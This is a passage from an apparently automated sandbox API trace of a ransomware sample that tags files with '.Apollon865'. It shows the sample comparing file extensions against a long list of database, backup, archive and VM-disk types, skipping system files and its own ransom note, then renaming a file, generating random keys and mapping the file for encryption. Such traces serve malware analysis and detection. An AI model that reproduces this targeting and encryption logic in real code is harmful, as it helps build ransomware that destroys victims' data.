	[0080.920] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0080.920] lstrlenW (lpString="idb") returned 3
	[0080.920] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0080.920] lstrlenW (lpString="ihx") returned 3
	[0080.920] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0080.920] lstrlenW (lpString="itdb") returned 4
	[0080.920] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0080.920] lstrlenW (lpString="itw") returned 3
	[0080.920] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0080.920] lstrlenW (lpString="jet") returned 3
	[0080.920] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0080.920] lstrlenW (lpString="jtx") returned 3
	[0080.920] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0080.920] lstrlenW (lpString="kdb") returned 3
	[0080.920] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0080.920] lstrlenW (lpString="kexi") returned 4
	[0080.920] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0080.920] lstrlenW (lpString="kexic") returned 5
	[0080.920] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0080.920] lstrlenW (lpString="kexis") returned 5
	[0080.920] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0080.920] lstrlenW (lpString="lgc") returned 3
	[0080.920] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0080.920] lstrlenW (lpString="lwx") returned 3
	[0080.920] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0080.920] lstrlenW (lpString="maf") returned 3
	[0080.920] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0080.920] lstrlenW (lpString="maq") returned 3
	[0080.920] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0080.921] lstrlenW (lpString="mar") returned 3
	[0080.921] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0080.921] lstrlenW (lpString="marshal") returned 7
	[0080.921] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0080.921] lstrlenW (lpString="mas") returned 3
	[0080.921] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0080.921] lstrlenW (lpString="mav") returned 3
	[0080.921] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0080.921] lstrlenW (lpString="maw") returned 3
	[0080.921] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0080.921] lstrlenW (lpString="mdbhtml") returned 7
	[0080.921] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0080.921] lstrlenW (lpString="mdn") returned 3
	[0080.921] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0080.921] lstrlenW (lpString="mdt") returned 3
	[0080.921] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0080.921] lstrlenW (lpString="mfd") returned 3
	[0080.921] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0080.921] lstrlenW (lpString="mpd") returned 3
	[0080.921] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0080.921] lstrlenW (lpString="mrg") returned 3
	[0080.921] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0080.921] lstrlenW (lpString="mud") returned 3
	[0080.921] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0080.921] lstrlenW (lpString="mwb") returned 3
	[0080.921] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0080.921] lstrlenW (lpString="myd") returned 3
	[0080.921] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0080.921] lstrlenW (lpString="ndf") returned 3
	[0080.921] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0080.921] lstrlenW (lpString="nnt") returned 3
	[0080.921] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0080.921] lstrlenW (lpString="nrmlib") returned 6
	[0080.921] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0080.921] lstrlenW (lpString="ns2") returned 3
	[0080.921] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0080.922] lstrlenW (lpString="ns3") returned 3
	[0080.922] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0080.922] lstrlenW (lpString="ns4") returned 3
	[0080.922] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0080.922] lstrlenW (lpString="nsf") returned 3
	[0080.922] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0080.922] lstrlenW (lpString="nv") returned 2
	[0080.922] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0080.922] lstrlenW (lpString="nv2") returned 3
	[0080.922] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0080.922] lstrlenW (lpString="nwdb") returned 4
	[0080.922] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0080.922] lstrlenW (lpString="nyf") returned 3
	[0080.922] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0080.922] lstrlenW (lpString="odb") returned 3
	[0080.922] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0080.922] lstrlenW (lpString="odb") returned 3
	[0080.922] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0080.922] lstrlenW (lpString="oqy") returned 3
	[0080.922] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0080.922] lstrlenW (lpString="ora") returned 3
	[0080.922] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0080.922] lstrlenW (lpString="orx") returned 3
	[0080.922] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0080.922] lstrlenW (lpString="owc") returned 3
	[0080.922] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0080.922] lstrlenW (lpString="p96") returned 3
	[0080.922] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0080.922] lstrlenW (lpString="p97") returned 3
	[0080.922] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0080.922] lstrlenW (lpString="pan") returned 3
	[0080.922] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0080.922] lstrlenW (lpString="pdb") returned 3
	[0080.922] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0080.922] lstrlenW (lpString="pdm") returned 3
	[0080.922] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0080.923] lstrlenW (lpString="pnz") returned 3
	[0080.923] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0080.923] lstrlenW (lpString="qry") returned 3
	[0080.923] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0080.923] lstrlenW (lpString="qvd") returned 3
	[0080.923] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0080.923] lstrlenW (lpString="rbf") returned 3
	[0080.923] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0080.923] lstrlenW (lpString="rctd") returned 4
	[0080.923] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0080.923] lstrlenW (lpString="rod") returned 3
	[0080.923] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0080.923] lstrlenW (lpString="rodx") returned 4
	[0080.923] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0080.923] lstrlenW (lpString="rpd") returned 3
	[0080.923] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0080.923] lstrlenW (lpString="rsd") returned 3
	[0080.923] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0080.923] lstrlenW (lpString="sas7bdat") returned 8
	[0080.923] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0080.923] lstrlenW (lpString="sbf") returned 3
	[0080.923] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0080.923] lstrlenW (lpString="scx") returned 3
	[0080.923] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0080.923] lstrlenW (lpString="sdb") returned 3
	[0080.923] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0080.923] lstrlenW (lpString="sdc") returned 3
	[0080.923] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0080.923] lstrlenW (lpString="sdf") returned 3
	[0080.923] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0080.923] lstrlenW (lpString="sis") returned 3
	[0080.923] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0080.923] lstrlenW (lpString="spq") returned 3
	[0080.923] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0080.923] lstrlenW (lpString="te") returned 2
	[0080.923] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0080.924] lstrlenW (lpString="teacher") returned 7
	[0080.924] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0080.924] lstrlenW (lpString="tmd") returned 3
	[0080.924] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0080.924] lstrlenW (lpString="tps") returned 3
	[0080.924] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0080.924] lstrlenW (lpString="trc") returned 3
	[0080.924] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0080.924] lstrlenW (lpString="trc") returned 3
	[0080.924] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0080.924] lstrlenW (lpString="trm") returned 3
	[0080.924] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0080.924] lstrlenW (lpString="udb") returned 3
	[0080.924] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0080.924] lstrlenW (lpString="udl") returned 3
	[0080.924] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0080.924] lstrlenW (lpString="usr") returned 3
	[0080.924] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0080.924] lstrlenW (lpString="v12") returned 3
	[0080.924] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0080.924] lstrlenW (lpString="vis") returned 3
	[0080.924] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0080.924] lstrlenW (lpString="vpd") returned 3
	[0080.924] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0080.924] lstrlenW (lpString="vvv") returned 3
	[0080.924] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0080.924] lstrlenW (lpString="wdb") returned 3
	[0080.924] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0080.924] lstrlenW (lpString="wmdb") returned 4
	[0080.924] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0080.924] lstrlenW (lpString="wrk") returned 3
	[0080.924] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0080.924] lstrlenW (lpString="xdb") returned 3
	[0080.924] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0080.924] lstrlenW (lpString="xld") returned 3
	[0080.924] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0080.925] lstrlenW (lpString="xmlff") returned 5
	[0080.925] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0080.925] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll.Apollon865") returned 84
	[0080.925] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\grintl32.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\grintl32.rest.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0080.926] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\grintl32.rest.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0080.926] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=235872) returned 1
	[0080.926] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0080.927] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0080.927] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0080.927] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0080.927] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0080.927] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0080.928] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x39c60, lpName=0x0) returned 0x15c
	[0080.931] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x39c60) returned 0x120000
	[0080.951] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0080.952] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0080.952] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0080.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0080.952] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0080.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0080.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0080.952] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0080.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0080.952] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0080.952] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0080.952] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0080.952] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0080.952] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0080.954] CloseHandle (hObject=0x15c) returned 1
	[0080.954] CloseHandle (hObject=0x9c) returned 1
	[0080.954] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0080.954] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0080.954] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0080.956] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb6db30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2fb6db30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0080.956] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0080.956] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x47d60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MAPIR.DLL.trx_dll", cAlternateFileName="MAPIRD~1.TRX")) returned 1
	[0080.956] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.956] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0080.956] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2=".") returned 1
	[0080.956] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="..") returned 1
	[0080.956] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="windows") returned -1
	[0080.956] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0080.956] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="temp") returned -1
	[0080.956] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="pagefile.sys") returned -1
	[0080.956] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="boot") returned 1
	[0080.956] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="ids.txt") returned 1
	[0080.956] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="ntuser.dat") returned -1
	[0080.956] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="perflogs") returned -1
	[0080.956] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2="MSBuild") returned -1
	[0080.956] lstrlenW (lpString="MAPIR.DLL.trx_dll") returned 17
	[0080.956] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll") returned 73
	[0080.956] lstrcpyW (in: lpString1=0x119e670, lpString2="MAPIR.DLL.trx_dll" | out: lpString1="MAPIR.DLL.trx_dll") returned="MAPIR.DLL.trx_dll"
	[0080.956] lstrlenW (lpString="MAPIR.DLL.trx_dll") returned 17
	[0080.956] lstrlenW (lpString="Apollon865") returned 10
	[0080.956] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0080.956] lstrlenW (lpString=".dll") returned 4
	[0080.956] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2=".dll") returned 1
	[0080.956] lstrlenW (lpString=".lnk") returned 4
	[0080.956] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2=".lnk") returned 1
	[0080.956] lstrlenW (lpString=".ini") returned 4
	[0080.956] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2=".ini") returned 1
	[0080.956] lstrlenW (lpString=".sys") returned 4
	[0080.956] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2=".sys") returned 1
	[0080.956] lstrlenW (lpString="MAPIR.DLL.trx_dll") returned 17
	[0080.956] lstrlenW (lpString="bak") returned 3
	[0080.957] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0080.957] lstrlenW (lpString="ba_") returned 3
	[0080.957] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0080.957] lstrlenW (lpString="dbb") returned 3
	[0080.957] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0080.957] lstrlenW (lpString="vmdk") returned 4
	[0080.957] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0080.957] lstrlenW (lpString="rar") returned 3
	[0080.957] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0080.957] lstrlenW (lpString="zip") returned 3
	[0080.957] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0080.957] lstrlenW (lpString="tgz") returned 3
	[0080.957] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0080.957] lstrlenW (lpString="vbox") returned 4
	[0080.957] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0080.957] lstrlenW (lpString="vdi") returned 3
	[0080.957] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0080.957] lstrlenW (lpString="vhd") returned 3
	[0080.957] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0080.957] lstrlenW (lpString="vhdx") returned 4
	[0080.957] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0080.957] lstrlenW (lpString="avhd") returned 4
	[0080.957] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0080.957] lstrlenW (lpString="db") returned 2
	[0080.957] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0080.957] lstrlenW (lpString="db2") returned 3
	[0080.957] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0080.957] lstrlenW (lpString="db3") returned 3
	[0080.957] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0080.957] lstrlenW (lpString="dbf") returned 3
	[0080.957] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0080.957] lstrlenW (lpString="mdf") returned 3
	[0080.957] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0080.957] lstrlenW (lpString="mdb") returned 3
	[0080.957] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0080.958] lstrlenW (lpString="sql") returned 3
	[0080.958] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0080.958] lstrlenW (lpString="sqlite") returned 6
	[0080.958] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0080.958] lstrlenW (lpString="sqlite3") returned 7
	[0080.958] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0080.958] lstrlenW (lpString="sqlitedb") returned 8
	[0080.958] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0080.958] lstrlenW (lpString="xml") returned 3
	[0080.958] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0080.958] lstrlenW (lpString="$er") returned 3
	[0080.958] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0080.958] lstrlenW (lpString="4dd") returned 3
	[0080.958] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0080.958] lstrlenW (lpString="4dl") returned 3
	[0080.958] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0080.958] lstrlenW (lpString="^^^") returned 3
	[0080.958] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0080.958] lstrlenW (lpString="abs") returned 3
	[0080.958] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0080.958] lstrlenW (lpString="abx") returned 3
	[0080.958] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0080.958] lstrlenW (lpString="accdb") returned 5
	[0080.958] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0080.958] lstrlenW (lpString="accdc") returned 5
	[0080.958] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0080.958] lstrlenW (lpString="accde") returned 5
	[0080.958] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0080.958] lstrlenW (lpString="accdr") returned 5
	[0080.958] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0080.958] lstrlenW (lpString="accdt") returned 5
	[0080.958] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0080.958] lstrlenW (lpString="accdw") returned 5
	[0080.958] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0080.958] lstrlenW (lpString="accft") returned 5
	[0080.958] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0080.959] lstrlenW (lpString="adb") returned 3
	[0080.959] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0080.959] lstrlenW (lpString="adb") returned 3
	[0080.959] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0080.959] lstrlenW (lpString="ade") returned 3
	[0080.959] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0080.959] lstrlenW (lpString="adf") returned 3
	[0080.959] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0080.959] lstrlenW (lpString="adn") returned 3
	[0080.959] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0080.959] lstrlenW (lpString="adp") returned 3
	[0080.959] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0080.959] lstrlenW (lpString="alf") returned 3
	[0080.959] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0080.959] lstrlenW (lpString="ask") returned 3
	[0080.959] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0080.959] lstrlenW (lpString="btr") returned 3
	[0080.959] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0080.959] lstrlenW (lpString="cat") returned 3
	[0080.959] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0080.959] lstrlenW (lpString="cdb") returned 3
	[0080.959] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0080.959] lstrlenW (lpString="ckp") returned 3
	[0080.959] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0080.959] lstrlenW (lpString="cma") returned 3
	[0080.959] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0080.959] lstrlenW (lpString="cpd") returned 3
	[0080.959] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0080.959] lstrlenW (lpString="dacpac") returned 6
	[0080.959] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0080.959] lstrlenW (lpString="dad") returned 3
	[0080.959] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0080.959] lstrlenW (lpString="dadiagrams") returned 10
	[0080.959] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0080.959] lstrlenW (lpString="daschema") returned 8
	[0080.959] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0080.960] lstrlenW (lpString="db-journal") returned 10
	[0080.960] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0080.960] lstrlenW (lpString="db-shm") returned 6
	[0080.960] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0080.960] lstrlenW (lpString="db-wal") returned 6
	[0080.960] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0080.960] lstrlenW (lpString="dbc") returned 3
	[0080.960] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0080.960] lstrlenW (lpString="dbs") returned 3
	[0080.960] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0080.960] lstrlenW (lpString="dbt") returned 3
	[0080.960] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0080.960] lstrlenW (lpString="dbv") returned 3
	[0080.960] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0080.960] lstrlenW (lpString="dbx") returned 3
	[0080.960] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0080.960] lstrlenW (lpString="dcb") returned 3
	[0080.960] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0080.960] lstrlenW (lpString="dct") returned 3
	[0080.960] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0080.960] lstrlenW (lpString="dcx") returned 3
	[0080.960] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0080.960] lstrlenW (lpString="ddl") returned 3
	[0080.960] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0080.960] lstrlenW (lpString="dlis") returned 4
	[0080.960] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0080.960] lstrlenW (lpString="dp1") returned 3
	[0080.960] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0080.960] lstrlenW (lpString="dqy") returned 3
	[0080.960] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0080.960] lstrlenW (lpString="dsk") returned 3
	[0080.960] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0080.960] lstrlenW (lpString="dsn") returned 3
	[0080.960] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0080.960] lstrlenW (lpString="dtsx") returned 4
	[0080.960] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0080.961] lstrlenW (lpString="dxl") returned 3
	[0080.961] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0080.961] lstrlenW (lpString="eco") returned 3
	[0080.961] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
